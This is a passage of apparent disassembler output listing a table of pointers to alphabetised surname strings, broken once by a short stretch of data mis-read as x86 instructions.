		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
; ---------------------------------------------------------------------------


loc_42E3C8:				; CODE XREF: ___:loc_42E3C8j
		js	short loc_42E3C8
		inc	edx
		add	[esi+edi*8+42h], ch
		add	[eax-2], ah
		inc	edx
		add	[esi+edi*8+42h], dl
		add	[eax-2], cl
		inc	edx
		add	[esi+edi*8], bh
		inc	edx
		add	[esi+edi*8], dh
		inc	edx
		add	[esi+edi*8], ch
		inc	edx
		add	[esi+edi*8], ah
		inc	edx
		add	[esi+edi*8], bl
		inc	edx
		add	[esi+edi*8], dl
		inc	edx
		add	[esi+edi*8], al
		inc	edx
		add	ah, bh
		std
		inc	edx
		add	al, dh
		std
		inc	edx
		add	al, ch
		std
		inc	edx
		add	al, ah
		std
		inc	edx
		add	al, bl
		std
		inc	edx
		add	al, dl
		std
		inc	edx
		add	ah, al
		std
		inc	edx
		add	[eax-4FFFBD03h], bh
		std
		inc	edx
		add	[ebp+edi*8-263FFBEh], ah
		inc	edx
		add	[eax-7BFFBD03h], dl
		std
		inc	edx
		add	[ebp+edi*8+42h], bh
		add	[eax-3], dh
		inc	edx
		add	[ebp+edi*8+42h], ah
		add	[ebp+edi*8+42h], bl
		add	[eax-3], dl
		inc	edx
		add	[eax-3], cl
		inc	edx
		add	[eax-3], al
		inc	edx
		add	ds:0FD280042h[edi*8], dh
		inc	edx
		add	[eax], ah
		std
		inc	edx
		add	[eax], bl
		std
		inc	edx
		add	ds:0FD0C0042h[edi*8], dl
		inc	edx
; ---------------------------------------------------------------------------
		db 0
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
		dd offset aTroy		; "Troy"
		dd offset aTruss	; "Truss"
		dd offset aTsiatis	; "Tsiatis"
		dd offset aTsomides	; "Tsomides"
		dd offset aTsukurov	; "Tsukurov"
		dd offset aTuck		; "Tuck"
		dd offset aTudge	; "Tudge"
		dd offset aTukan	; "Tukan"
		dd offset aTurano	; "Turano"
		dd offset aTurek	; "Turek"
		dd offset aTuttle	; "Tuttle"
		dd offset aTwells	; "Twells"
